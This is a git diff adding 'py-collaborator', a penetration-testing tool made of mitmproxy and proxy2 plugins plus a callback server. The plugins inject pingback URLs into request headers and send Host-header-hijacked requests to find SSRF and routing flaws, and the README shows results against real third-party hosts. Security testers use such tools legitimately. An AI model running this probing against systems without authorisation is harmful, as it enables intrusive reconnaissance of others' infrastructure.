Added py-collaborator

web/README.md

@@ -54,6 +54,9 @@
 
 - **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5))
 
+
+- **`py-collaborator`** - Poor man's Burp-Collaborator equivalent. A project offering mitmproxy/proxy2 plugin for injecting pingback URLs into processed HTTP(S) requests, and server part capable of handling Out-of-band incoming requests triggered by some Load Balancer/Reverse-Proxy/Caching-Proxy/other fetchers misconfigurations (alike to _Server-Side Request Forgery_ condition). Implementation based on terrific research of James 'albinowax' Kettle [Cracking the Lens](https://portswigger.net/kb/papers/crackingthelens-whitepaper.pdf).
+
 - **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Imagine you want to fuzz XML parameters within **PaReq** packet of 3DSecure standard. This packet has been ZLIB compressed, then Base64 encoded, then URLEncoded. In order to modify the inner XML you would need to peel off that encoding layers and then reaplly them in reversed order. This script allows you to do that in an automated manner. ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f))
 
     Sample output could look like:

web/py-collaborator/Database.py

@@ -0,0 +1,238 @@
+#!/usr/bin/python3
+
+import pymysql
+import pymysql.cursors
+import pymysql.converters
+
+from Logger import *
+import datetime
+
+DATABASE_LOGGING = False
+
+class Logger:
+    @staticmethod
+    def _out(x):
+        if DATABASE_LOGGING:
+            sys.stderr.write(str(x) + u'\n')
+
+    @staticmethod
+    def dbg(x):
+        if DATABASE_LOGGING:
+            sys.stderr.write(u'[dbg] ' + str(x) + u'\n')
+
+    @staticmethod
+    def out(x):
+        Logger._out(u'[.] ' + str(x))
+
+    @staticmethod
+    def info(x):
+        Logger._out(u'[?] ' + str(x))
+
+    @staticmethod
+    def err(x):
+        if DATABASE_LOGGING:
+            sys.stderr.write(u'[!] ' + str(x) + u'\n')
+
+    @staticmethod
+    def warn(x):
+        Logger._out(u'[-] ' + str(x))
+
+    @staticmethod
+    def ok(x):
+        Logger._out(u'[+] ' + str(x))
+
+
+class Database:
+    databaseConnection = None
+    databaseCursor = None
+    lastUsedCredentials = {
+        'host': '',
+        'user': '',
+        'password': '',
+        'db': ''
+    }
+
+    def __init__(self, initialId = 1000):
+        self.queryId = initialId
+        pass
+
+    def __del__(self):
+        self.close()
+
+    def close(self):
+        Logger.dbg("Closing database connection.")
+        self.databaseConnection.close()
+        self.databaseConnection = None
+
+    def connection(self, host, user, password, db = None):
+        try:
+            conv = pymysql.converters.conversions.copy()
+            conv[246] = float
+            conv[0] = float
+
+            if password:
+                self.databaseConnection = pymysql.connect(
+                    host=host,
+                    user=user,
+                    passwd=password,
+                    db=db,
+                    cursorclass=pymysql.cursors.DictCursor,
+                    conv = conv
+                )
+            else:
+                self.databaseConnection = pymysql.connect(
+                    host=host,
+                    user=user,
+                    db=db,
+                    cursorclass=pymysql.cursors.DictCursor,
+                    conv=conv
+                )
+
+            #self.databaseConnection.set_character_set('utf8')
+
+            Logger.info("Database connection succeeded.")
+
+            self.lastUsedCredentials.update({
+                'host': host,
+                'user': user,
+                'password': password,
+                'db': db
+            })
+
+            return True
+
+        except (pymysql.Error, pymysql.Error) as e:
+            Logger.err("Database connection failed: " + str(e))
+            return False
+
+    def createCursor(self):
+        if self.databaseCursor:
+            self.databaseCursor.close()
+            self.databaseCursor = None
+
+        if not self.databaseConnection:
+            self.reconnect()
+
+        self.databaseCursor = self.databaseConnection.cursor()
+        # self.databaseCursor.execute('SET CHARACTER SET utf8;')
+        # self.databaseCursor.execute('SET NAMES utf8;')
+        # self.databaseCursor.execute('SET character_set_connection=utf8;')
+        # self.databaseCursor.execute('SET GLOBAL connect_timeout=28800;')
+        # self.databaseCursor.execute('SET GLOBAL wait_timeout=28800;')
+        # self.databaseCursor.execute('SET GLOBAL interactive_timeout=28800;')
+        # self.databaseCursor.execute('SET GLOBAL max_allowed_packet=1073741824;')
+        return self.databaseCursor
+
+    def query(self, query, tryAgain = False, params = None):
+        self.queryId += 1
+        if len(query)< 100:
+            Logger.dbg(u'SQL query (id: {}): "{}"'.format(self.queryId, query))
+        else:
+            Logger.dbg(u'SQL query (id: {}): "{}...{}"'.format(self.queryId, query[:80], query[-80:]))
+
+        try:
+            self.databaseCursor = self.createCursor()
+            if params:
+                self.databaseCursor.execute(query, args = params)
+            else:
+                self.databaseCursor.execute(query)
+            
+            result = self.databaseCursor.fetchall()
+
+            num = 0
+            for row in result:
+                num += 1
+                if num > 5: break
+                if len(str(row)) < 100:
+                    Logger.dbg(u'Query (ID: {}) ("{}") results:\nRow {}.: '.format(self.queryId, str(query), num) + str(row))
+                else:
+                    Logger.dbg(u'Query (ID: {}) is too long'.format(self.queryId))
+
+            return result
+
+        except (pymysql.err.InterfaceError) as e:
+            pass
+        except (pymysql.Error) as e:
+            if Database.checkIfReconnectionNeeded(e):
+                if tryAgain == False:
+                    Logger.err("Query (ID: {}) ('{}') failed. Need to reconnect.".format(self.queryId, query))
+                    self.reconnect()
+                    return self.query(query, True)
+
+            Logger.err("Query (ID: {}) ('{}') failed: ".format(self.queryId, query) + str(e))
+            return False
+
+    @staticmethod
+    def checkIfReconnectionNeeded(error):
+        try:
+            return (("MySQL server has gone away" in error[1]) or ('Lost connection to MySQL server' in error[1]))
+        except (IndexError, TypeError):
+            return False
+
+    def reconnect(self):
+        Logger.info("Trying to reconnect after failure (last query: {})...".format(self.queryId))
+        if self.databaseConnection != None:
+            try:
+                self.databaseConnection.close()
+            except:
+                pass
+            finally:
+                self.databaseConnection = None
+
+        self.connection(
+            self.lastUsedCredentials['host'],
+            self.lastUsedCredentials['user'],
+            self.lastUsedCredentials['password'],
+            self.lastUsedCredentials['db']
+        )
+
+    def insert(self, query, tryAgain = False):
+        '''
+            Executes SQL query that is an INSERT statement.
+
+        params:
+            query   SQL INSERT query
+
+        returns:
+                (boolean Status, int AffectedRows, string Message)
+
+            Where:
+                Status          - false on Error, true otherwise
+                AffectedRows    - number of affected rows or error code on failure
+                Message         - error message on failure, None otherwise
+        '''
+        self.queryId += 1
+        if len(query)< 100:
+            Logger.dbg(u'SQL INSERT query (id: {}): "{}"'.format(self.queryId, query))
+        else:
+            Logger.dbg(u'SQL INSERT query (id: {}): "{}...{}"'.format(self.queryId, query[:80], query[-80:]))
+
+        assert not query.lower().startswith('select '), "Method insert() must NOT be invoked with SELECT queries!"
+
+        try:
+            self.databaseCursor = self.createCursor()
+            self.databaseCursor.execute(query)
+
+            # Commit new records to the database
+
+            self.databaseConnection.commit()
+            return True, 1, None
+
+        except (pymysql.Error, pymysql.Error) as e:
+            try:
+                # Rollback introduced changes
+                self.databaseConnection.rollback()
+            except: pass
+
+            if Database.checkIfReconnectionNeeded(e):
+                if tryAgain == False:
+                    Logger.err("Insert query (ID: {}) ('{}') failed. Need to reconnect.".format(self.queryId, query))
+                    self.reconnect()
+                    return self.insert(query, True)
+
+            Logger.err("Insert Query (ID: {}) ('{}') failed: ".format(self.queryId, query) + str(e))
+            return False, e.args[0], e.args[1]
+
+    def delete(self, query):
+        assert query.lower().startswith('delete '), "Method delete() must be invoked only with DELETE queries!"
+        return self.insert(query)

web/py-collaborator/Logger.py

@@ -0,0 +1,30 @@
+import sys
+
+class Logger:
+    @staticmethod
+    def _out(x):
+        sys.stderr.write(str(x) + u'\n')
+
+    @staticmethod
+    def dbg(x):
+        sys.stderr.write(u'[dbg] ' + str(x) + u'\n')
+
+    @staticmethod
+    def out(x):
+        Logger._out(u'[.] ' + str(x))
+
+    @staticmethod
+    def info(x):
+        Logger._out(u'[?] ' + str(x))
+
+    @staticmethod
+    def err(x):
+        sys.stderr.write(u'[!] ' + str(x) + u'\n')
+
+    @staticmethod
+    def warn(x):
+        Logger._out(u'[-] ' + str(x))
+
+    @staticmethod
+    def ok(x):
+        Logger._out(u'[+] ' + str(x))

web/py-collaborator/README.md

@@ -0,0 +1,125 @@
+## py-collaborator - A Python's version of Burp Collaborator (not compatible)
+---
+
+This is a client-server piece of software that implements technique discussed by James 'albinowax' Kettle at his [Cracking the Lens](https://portswigger.net/kb/papers/crackingthelens-whitepaper.pdf) whitepaper. 
+
+The tool of trade comes in two flavors:
+
+### 1. Client proxy plugin
+---
+
+Implemented for [mitmproxy](https://github.com/mitmproxy/mitmproxy) and for my own [HTTP/S proxy2](https://github.com/mgeeky/proxy2). 
+
+
+#### mitmproxy
+
+One can use it with **mitmproxy** by loading a script file:
+
+```
+$ mitmproxy -s py-collaborator-mitmproxy-addon.py
+```
+
+After that, 
+a) go to your favorite browser
+b) set up it's proxy so it points on **mitmproxy**'s listening interface and port
+c) Load up mitmproxy's certificate by browsing to **http://mitm.it** and selecting your option (int Firefox - you can directly go to the: [http://mitm.it/cert/pem](http://mitm.it/cert/pem))
+d) Select trust checkboxes.
+
+Then, when in **mitmproxy** interface - type in **'E'** to go to Events log and look for following outputs:
+```
+info: Loading script /mnt/d/dev2/py-collaborator/py-collaborator-mitmproxy-addon.py
+info: Initializing py-collaborator-mitmproxy-plugin.
+info: Connecting to MySQL database: root@<YOUR-IP> ...
+info: Connected.
+...
+Injected pingbacks for host (login.live.com)
+...
+```
+
+If you spot those lines, the injecting plugin is working and you can now browse your target webapplications. Every request met will get injected headers, as well as there will be couple of additional hand-crafted requests in the background going on. 
+
+
+#### proxy2
+
+Although **proxy2** is very unstable at the moment, one can give it a try by running:
+
+```
+$ ./proxy2.py -p py-collaborator-mitmproxy-addon.py
+```
+
+After that, 
+a) go to your favorite browser
+b) set up it's proxy so it points on **proxy2**'s listening interface and port
+c) Load up proxy2's certificate by browsing to **http://proxy2.test**
+d) Select trust checkboxes.
+
+
+
+### 2. Server part
+---
+
+Just as Burp Collaborator needs to listen on ports such as 80, 443, 8080 - our server will need too. In order to handle properly 443/HTTPS traffic, we shall supply to our server wildcard CA certificate, that can be generated using **Let's Encrypt's certbot**. 
+
+1) One will need to start a MySQL server, no need to create database or initialize it anyhow.
+2) Then, we need to configure all needed informations in **config.json** file.
+3) Having properly filled config.json - we can start up our server:
+
+```
+$ python3.7 py-collaborator-server.py
+```
+
+Server while running, will handle every **Out-of-band** incoming requests having UUID previously inserted to database, during proxied browsing. Such found correlation will be displayed as follows:
+
+```
+hostname|23:55|~/dev/py-collaborator # python3.7 py-collaborator-server.py -d
+
+        :: Cracking the Lens pingback responding server
+        Responds to every Out-of-band request correlating them along the way
+        Mariusz B. / mgeeky '16-18, <mb@binary-offensive.com>
+
+[-] You shall specify all needed MySQL connection data either via program options or config file.
+[+] Database initialized.
+[dbg] Local host's IP address (RHOST) set to:
+[+] Serving HTTP server on: ("0.0.0.0", 80)
+[+] Serving HTTP server on: ("0.0.0.0", 443)
+[+] Serving HTTP server on: ("0.0.0.0", 8080)
+[?] Entering infinite serving loop.
+[dbg] Incoming HTTP request from <YOUR-IP>:  /
+
+
+-------------------------------------------------------------------------------------
+Issue:                  Pingback (GET / ) found in request's Header: Host
+Where payload was put:  Overridden Host header (magnetic.t.domdex.com -> GET /http://xxxkr2hr3nb43pxqb1174wsl48platj701r1d38k7quaf74kukqfqyyy.<YOUR-HOST>:80
+Contacting host:        vps327993.ovh.net
+Tried to reach vhost:   xxxkr2hr3nb43pxqb1174wsl48platj701r1d38k7quaf74kukqfqyyy.<YOUR-HOST>:80
+
+Issue detail:
+    Our pingback-server was contacted by (<YOUR-IP>:50828) after a delay of (0:03:37.404649):
+
+    Original request where this pingback was inserted:
+    ---
+        GET /sync/casale HTTP/1.1
+        Host: magnetic.t.domdex.com
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
+        Accept: */*
+        Accept-Language: pl,en-US;q=0.7,en;q=0.3
+        Accept-Encoding: gzip, deflate, br
+        Referer: https://ssum-sec.casalemedia.com/usermatch?s=183875&cb=https%3A%2F%2Fpr-bh.ybp.yahoo.com%2Fsync%2Fcasale%2F_UID_
+        Connection: keep-alive
+        Pragma: no-cache
+        Cache-Control: no-cache
+        X-Forwarded-For: http://xxxzslzo9p4gig2jxlimfpz3kusjbizg3gj5kylqbupr3ev5pvwdtyyy.<YOUR-HOST>/
+
+
+    Request that was sent to us in return:
+    ---
+        GET / HTTP/1.1
+        Host: xxxkr2hr3nb43pxqb1174wsl48platj701r1d38k7quaf74kukqfqyyy.<YOUR-HOST>
+        User-Agent: curl/7.58.0
+        Accept: */*
+
+The payload was sent at (2019-01-13 22:52:40) and received on (2019-01-13 22:56:17).
+-------------------------------------------------------------------------------------
+
+```
+

web/py-collaborator/config.json

@@ -0,0 +1,18 @@
+{
+    "listen" : "0.0.0.0",
+    "pingback-host": "example.com",
+    "server-remote-addr": "",
+    "listen-on-ports" : [80, 443, 8080],
+
+    "server-ca-cert" : "/etc/letsencrypt/live/example.com/fullchain.pem",
+    "server-key-file" : "/etc/letsencrypt/live/example.com/privkey.pem",
+    
+    "mysql-host": "<MYSQL-IP>",
+    "mysql-user": "root",
+    "mysql-pass": "",
+    "mysql-database": "pingback_server",
+
+    "exclude-pingbacks-from-clients": [
+    	"127.0.0.1"
+    ]
+}

web/py-collaborator/py-collaborator-mitmproxy-addon.py

@@ -0,0 +1,355 @@
+#!/usr/bin/python3
+
+import re
+import sys
+import json
+import string
+import random
+import datetime    
+import socket
+import requests
+import functools
+from urllib.parse import urljoin, urlparse
+from threading import Lock
+from Database import Database
+from threading import Thread
+from time import sleep
+
+from mitmproxy import http, ctx
+
+VERSION = '0.1'
+
+# Must point to JSON file containing configuration mentioned in `config` dictionary below.
+# One can either supply that configuration file, or let the below variable empty and fill the `config`
+# dictionary instead.
+CONFIGURATION_FILE = 'config.json'
+
+config = {
+    'debug' : False,
+
+    # The server hostname where affected systems shall pingback.
+    'pingback-host': '',
+    'server-remote-addr': '',
+
+    'mysql-host': '',
+    'mysql-user': '',
+    'mysql-pass': '',
+    'mysql-database': '',
+}
+
+append_headers = (
+    'X-Forwarded-For',
+    'Referer',
+    'True-Client-IP',
+    'X-WAP-Profile'
+)
+
+visited_hosts = set()
+add_host_lock = Lock()
+database_lock = Lock()
+
+CONNECTION_TIMEOUT = 4.0
+CHUNK_SIZE = 512
+
+def generateRandomId():
+    randomized = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(50))
+    return "xxx" + randomized + "yyy"
+
+# note that this decorator ignores **kwargs
+def memoize(obj):
+    cache = obj.cache = {}
+
+    @functools.wraps(obj)
+    def memoizer(*args, **kwargs):
+        if args not in cache:
+            cache[args] = obj(*args, **kwargs)
+        return cache[args]
+    return memoizer
+
+def dbg(x):
+    if 'debug' in config.keys() and config['debug']:
+        print('[dbg] ' + x)
+
+
+class SendRawHttpRequest:
+    def __init__(self):
+        self.sock = None
+
+    def connect(self, host, port, _ssl, timeout):
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+            if _ssl:
+                context = ssl.create_default_context()
+                context.check_hostname = False
+                context.options |= ssl.OP_ALL
+                context.verify_mode = ssl.CERT_NONE
+
+                self.sock = context.wrap_socket(sock)
+            else:
+                self.sock = sock
+
+            self.sock.settimeout(timeout)                
+            self.sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
+            self.sock.connect((host, port))
+            dbg('Connected with {}'.format(host))
+            return True
+
+        except Exception as e:
+            ctx.log.error('[!] Could not connect with {}:{}!'.format(host, port))
+            if config['debug']:
+                raise
+            return False
+
+    def close(self):
+        if self.sock:
+            self.sock.shutdown(socket.SHUT_RDWR)
+            self.sock.close()
+
+        self.sock = None
+        self.raw_socket = None
+        self.ssl_socket = None
+
+    def receiveAll(self, chunk_size=CHUNK_SIZE):
+        chunks = []
+        while True:
+            chunk = None
+            try:
+                chunk = self.sock.recv(int(chunk_size))
+            except:
+                if chunk: 
+                    chunks.append(chunk)
+                break
+
+            if chunk:
+                chunks.append(chunk)
+            else:
+                break
+
+        return b''.join(chunks)
+
+    def send(self, host, port, ssl, data, timeout = CONNECTION_TIMEOUT):
+        if not self.connect(host, port, ssl, timeout):
+            return False
+
+        self.sock.send(data.encode())
+        resp = self.receiveAll()
+        self.close()
+        return resp
+
+class PyCollaboratorMitmproxyAddon:    
+    method = b''
+    request = None
+    requestBody = None
+
+    def __init__(self):
+        global config
+        self.databaseInstance = self.connection = None
+
+        if CONFIGURATION_FILE:
+            config.update(json.loads(open(CONFIGURATION_FILE).read()))
+
+        ctx.log.info('Initializing py-collaborator-mitmproxy-plugin.')
+
+        self.connection = None
+        self.createConnection()
+
+    def createConnection(self):
+        self.databaseInstance = Database()
+
+        ctx.log.info("Connecting to MySQL database: {}@{} ...".format(
+            config['mysql-user'], config['mysql-host']
+        ))
+        self.connection = self.databaseInstance.connection(  config['mysql-host'], 
+                                                        config['mysql-user'], 
+                                                        config['mysql-pass'],
+                                                        config['mysql-database'])
+
+        if not self.connection:
+            ctx.log.error('Could not connect to the MySQL database! ' \
+                'Please configure inner `MySQL` variables such as Host, User, Password.')
+            sys.exit(1)
+
+        ctx.log.info('Connected.')
+
+    def executeSql(self, query, params = None):
+        try:
+            assert self.connection
+            database_lock.acquire()
+            if not params:
+                out = self.databaseInstance.query(query)
+            else:
+                out = self.databaseInstance.query(query, params = params)
+
+            database_lock.release()
+            if not out:
+                return []
+            return out
+
+        except Exception as e:
+            ctx.log.error('SQL query ("{}", params: {}) has failed: {}'.format(
+                query, str(params), str(e)
+            ))
+            database_lock.release()
+            if config['debug']:
+                raise
+            return []
+
+    @staticmethod
+    @memoize
+    def requestToString(request):
+        headers = '\r\n'.join(['{}: {}'.format(k, v) for k, v in request.headers.items()])
+        out = '{} {} {}\r\n{}'.format(request.command, request.path, request.request_version, headers)
+        return out
+
+    @staticmethod
+    def getPingbackUrl(request):
+        #guid = str(uuid.uuid4())
+        guid = generateRandomId()
+        url = "http://{}.{}/".format(guid, config['pingback-host'])
+        return (url, guid)
+
+    def saveRequestForCorrelation(self, request, pingback, uuid, where):
+        query = 'INSERT INTO requests(id, sent, uuid, desthost, pingback, whereput, request) VALUES(%s, %s, %s, %s, %s, %s, %s)'
+        generatedRequest = PyCollaboratorMitmproxyAddon.requestToString(self.request)
+        desthost = self.request.headers['Host']
+        values = ('0', datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S'), uuid, desthost, pingback, where, generatedRequest)
+        self.executeSql(query, values)
+
+    @staticmethod
+    def sendRawRequest(request, requestData):
+        raw = SendRawHttpRequest()
+        port = 80 if request.scheme == 'http' else 443
+        return raw.send(request.headers['Host'], port, request.scheme == 'https', requestData)
+
+    def hostOverriding(self):
+        (pingback, uuid) = PyCollaboratorMitmproxyAddon.getPingbackUrl(self.request)
+        requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
+        requestData+= 'Host: {}\r\n'.format(self.request.headers['Host'])
+        requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
+        requestData+= 'Accept: */*\r\n'
+        requestData+= 'Connection: close\r\n'
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Overridden Host header ({} -> GET /{} )'.format(self.request.headers['Host'], pingback))
+        PyCollaboratorMitmproxyAddon.sendRawRequest(self.request, requestData)
+        ctx.log.info('(2) Re-sent host overriding request ({} -> {})'.format(self.request.path, pingback))
+
+    def hostAtManipulation(self):
+        (pingback, uuid) = PyCollaboratorMitmproxyAddon.getPingbackUrl(self.request)
+        url = urljoin(self.request.scheme + '://', self.request.headers['Host'], self.request.path)
+        parsed = urlparse(pingback)
+
+        requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
+        requestData+= 'Host: {}@{}\r\n'.format(self.request.headers['Host'], parsed.netloc)
+        requestData+= 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\r\n'
+        requestData+= 'Accept: */*\r\n'
+        requestData+= 'Connection: close\r\n'
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Host header manipulation ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
+        PyCollaboratorMitmproxyAddon.sendRawRequest(self.request, requestData)
+        ctx.log.info('(3) Re-sent host header @ manipulated request ({} -> {}@{})'.format(self.request.headers['Host'], self.request.headers['Host'], parsed.netloc))
+
+    def sendMisroutedRequests(self):
+        (pingback, uuid) = PyCollaboratorMitmproxyAddon.getPingbackUrl(self.request)
+        url = self.request.url
+        parsed = urlparse(pingback)
+
+        self.saveRequestForCorrelation(self.request, pingback, uuid, 'Hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
+
+        try:
+            dbg('GET {}'.format(url))
+            requests.get(url, headers = {'Host' : parsed.netloc})
+            ctx.log.info('(1) Re-sent misrouted request with hijacked Host header ({} -> {})'.format(self.request.headers['Host'], parsed.netloc))
+        except (Exception, requests.exceptions.TooManyRedirects) as e:
+            ctx.log.error('Could not issue request to ({}): {}'.format(url, str(e)))
+            if config['debug']:
+                raise
+
+        self.hostOverriding()
+        self.hostAtManipulation()
+
+    @memoize
+    def checkIfAlreadyManipulated(self, host):
+        query = 'SELECT desthost FROM {}.requests WHERE desthost = "{}"'.format(config['mysql-database'], host)
+
+        rows = self.executeSql(query)
+        if rows == False: return rows
+        for row in rows:
+            if self.request.headers['Host'] in row['desthost']:
+                dbg('Host ({}) already was lured for pingback.'.format(row['desthost']))
+                return True
+        
+        dbg('Host ({}) was not yet lured for pingback.'.format(self.request.headers['Host']))
+        return False
+
+    def request_handler(self, req, req_body):
+        global visited_hosts
+        self.request = req
+        self.requestBody = req_body
+
+        self.request.scheme = self.request.path.split(':')[0].upper()
+
+        allowed_letters = string.ascii_lowercase + string.digits + '-_.'
+        host = ''.join(list(filter(lambda x: x in allowed_letters, self.request.headers['Host'])))
+
+        if (host not in visited_hosts) and (not self.checkIfAlreadyManipulated(host)):
+            add_host_lock.acquire()
+            visited_hosts.add(host)
+            add_host_lock.release()
+
+            for header in append_headers:   
+                (pingback, uuid) = PyCollaboratorMitmproxyAddon.getPingbackUrl(self.request)
+                self.request.headers[header] = pingback
+                self.saveRequestForCorrelation(pingback, header, uuid, 'Header: {}'.format(header))
+
+            self.sendMisroutedRequests()
+            ctx.log.info('Injected pingbacks for host ({}).'.format(host))
+
+        return self.requestBody
+
+    def requestForMitmproxy(self, flow):
+        class Request:
+            def __init__(self, flow):
+                self.scheme = flow.request.scheme
+                self.path = flow.request.path
+                self.method = flow.request.method
+                self.command = flow.request.method
+                self.host = str(flow.request.host)
+                self.port = int(flow.request.port)
+                self.http_version = flow.request.http_version
+                self.request_version = flow.request.http_version
+                self.headers = {}
+                self.req_body = flow.request.content
+                self.url = flow.request.url
+
+                self.headers['Host'] = self.host
+
+                for k,v in flow.request.headers.items():
+                    self.headers[k] = v
+
+            def __str__(self):
+                out = '{} {} {}\r\n'.format(self.method, self.path, self.http_version)
+                for k, v in self.headers.items():
+                    out += '{}: {}\r\n'.format(k, v)
+
+                if self.req_body:
+                    out += '\r\n{}'.format(self.req_body)
+
+                return out + '\r\n'
+
+        req = Request(flow)
+        req_body = req.req_body
+        # ctx.log.info('DEBUG2: req.path = {}'.format(req.path))
+        # ctx.log.info('DEBUG2: req.url = {}'.format(req.url))
+        # ctx.log.info('DEBUG5: req.request_version = {}'.format(req.request_version))
+        # ctx.log.info('DEBUG5: req.headers = {}'.format(str(req.headers)))
+        # ctx.log.info('DEBUG5: req.req_body = ({})'.format(req.req_body))
+        # ctx.log.info('DEBUG6: REQUEST BODY:\n{}'.format(str(req)))
+        return self.request_handler(req, req_body)
+
+
+def request(flow: http.HTTPFlow) -> None:
+    globalPyCollaborator.requestForMitmproxy(flow)
+
+globalPyCollaborator = PyCollaboratorMitmproxyAddon()
+addons = [request]

web/py-collaborator/py-collaborator-proxy2-plugin.py

@@ -0,0 +1,314 @@
+#!/usr/bin/python3
+
+import re
+import sys
+import json
+import string
+import random
+import datetime    
+import socket
+import requests
+import functools
+from urlparse import urljoin, urlparse
+from threading import Lock
+from Database import Database
+from proxylogger import ProxyLogger
+from threading import Thread
+from time import sleep
+
+VERSION = '0.1'
+
+# Must point to JSON file containing configuration mentioned in `config` dictionary below.
+# One can either supply that configuration file, or let the below variable empty and fill the `config`
+# dictionary instead.
+CONFIGURATION_FILE = 'config.json'
+
+config = {
+    # The server hostname where affected systems shall pingback.
+    'pingback-host': '',
+    'server-remote-addr': '',
+
+    'mysql-host': '',
+    'mysql-user': '',
+    'mysql-pass': '',
+    'mysql-database': '',
+}
+
+append_headers = (
+    'X-Forwarded-For',
+    'Referer',
+    'True-Client-IP',
+    'X-WAP-Profile'
+)
+
+visited_hosts = set()
+add_host_lock = Lock()
+database_lock = Lock()
+
+CONNECTION_TIMEOUT = 4.0
+CHUNK_SIZE = 512
+
+def generateRandomId():
+    randomized = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(50))
+    return "xxx" + randomized + "yyy"
+
+# note that this decorator ignores **kwargs
+def memoize(obj):
+    cache = obj.cache = {}
+
+    @functools.wraps(obj)
+    def memoizer(*args, **kwargs):
+        if args not in cache:
+            cache[args] = obj(*args, **kwargs)
+        return cache[args]
+    return memoizer
+
+
+class SendRawHttpRequest:
+    def __init__(self, proxyOptions, logger):
+        self.sock = None
+        self.logger = logger
+        self.proxyOptions = proxyOptions
+
+    def connect(self, host, port, _ssl, timeout):
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+            if _ssl:
+                context = ssl.create_default_context()
+                context.check_hostname = False
+                context.options |= ssl.OP_ALL
+                context.verify_mode = ssl.CERT_NONE
+
+                self.sock = context.wrap_socket(sock)
+            else:
+                self.sock = sock
+
+            self.sock.settimeout(timeout)                
+            self.sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
+            self.sock.connect((host, port))
+            self.logger.dbg('Connected with {}'.format(host))
+            return True
+
+        except Exception as e:
+            self.logger.err('[!] Could not connect with {}:{}!'.format(host, port))
+            if self.proxyOptions['debug']:
+                raise
+            return False
+
+    def close(self):
+        if self.sock:
+            self.sock.shutdown(socket.SHUT_RDWR)
+            self.sock.close()
+
+        self.sock = None
+        self.raw_socket = None
+        self.ssl_socket = None
+
+    def receiveAll(self, chunk_size=CHUNK_SIZE):
+        chunks = []
+        while True:
+            try:
+                chunk = resp = self.sock.recv(int(chunk_size))
+            except:
+                if chunk: 
+                    chunks.append(chunk)
+                break
+
+            if chunk:
+                chunks.append(chunk)
+            else:
+                break
+
+        return ''.join(chunks)
+
+    def send(self, host, port, ssl, data, timeout = CONNECTION_TIMEOUT):
+        if not self.connect(host, port, ssl, timeout):
+            return False
+
+        self.sock.send(data)
+        resp = self.receiveAll()
+        self.close()
+        return resp.decode(errors='ignore')
+
+class ProxyHandler:    
+    method = ''
+    request = None
+    requestBody = None
+
+    def __init__(self, logger, params, proxyOptions = None):
+        global config
+
+        self.databaseInstance = self.connection = None
+        self.logger = logger
+        self.params = params
+        self.proxyOptions = proxyOptions
+
+        if CONFIGURATION_FILE:
+            config.update(json.loads(open(CONFIGURATION_FILE).read()))
+
+        config['debug'] = proxyOptions['debug']
+
+        self.logger.info('Initializing Pingback proxy2 plugin.')
+
+        self.connection = None
+        self.createConnection()
+
+    def createConnection(self):
+        self.databaseInstance = Database()
+
+        self.logger.info("Connecting to MySQL database: {}@{} ...".format(
+            config['mysql-user'], config['mysql-host']
+        ))
+        self.connection = self.databaseInstance.connection(  config['mysql-host'], 
+                                                        config['mysql-user'], 
+                                                        config['mysql-pass'],
+                                                        config['mysql-database'])
+
+        if not self.connection:
+            self.logger.err('Could not connect to the MySQL database! ' \
+                'Please configure inner `MySQL` variables such as Host, User, Password.')
+            sys.exit(1)
+
+        self.logger.info('Connected.')
+
+    def executeSql(self, query, params = None):
+        try:
+            assert self.connection
+            database_lock.acquire()
+            if not params:
+                out = self.databaseInstance.query(query)
+            else:
+                out = self.databaseInstance.query(query, params = params)
+
+            database_lock.release()
+            if not out:
+                return []
+            return out
+
+        except Exception as e:
+            self.logger.err('SQL query ("{}", params: {}) has failed: {}'.format(
+                query, str(params), str(e)
+            ))
+            database_lock.release()
+            if self.proxyOptions['debug']:
+                raise
+            return []
+
+    @staticmethod
+    @memoize
+    def requestToString(request):
+        headers = '\r\n'.join(['{}: {}'.format(k, v) for k, v in request.headers.items()])
+        out = '{} {} {}\r\n{}'.format(request.command, request.path, request.request_version, headers)
+        return out
+
+    @staticmethod
+    def getPingbackUrl(request):
+        #guid = str(uuid.uuid4())
+        guid = generateRandomId()
+        url = "http://{}.{}/".format(guid, config['pingback-host'])
+        return (url, guid)
+
+    def saveRequestForCorrelation(self, request, pingback, uuid, where):
+        query = 'INSERT INTO requests(id, sent, uuid, desthost, pingback, whereput, request) VALUES(%s, %s, %s, %s, %s, %s, %s)'
+        generatedRequest = ProxyHandler.requestToString(self.request)
+        desthost = self.request.headers['Host']
+        values = ('0', datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S'), uuid, desthost, pingback, where, generatedRequest)
+        self.executeSql(query, values)
+
+    @staticmethod
+    def sendRawRequest(request, requestData, proxyOptions, logger):
+        raw = SendRawHttpRequest(proxyOptions, logger)
+        port = 80 if request.scheme == 'http' else 443
+        return raw.send(request.headers['Host'], port, request.scheme == 'https', requestData)
+
+    def hostOverriding(self):
+        (pingback, uuid) = ProxyHandler.getPingbackUrl(self.request)
+        requestData = 'GET {} HTTP/1.1\r\n'.format(pingback)
+        requestData+= 'Host: {}\r\n'.format(self.request.headers['Host'])
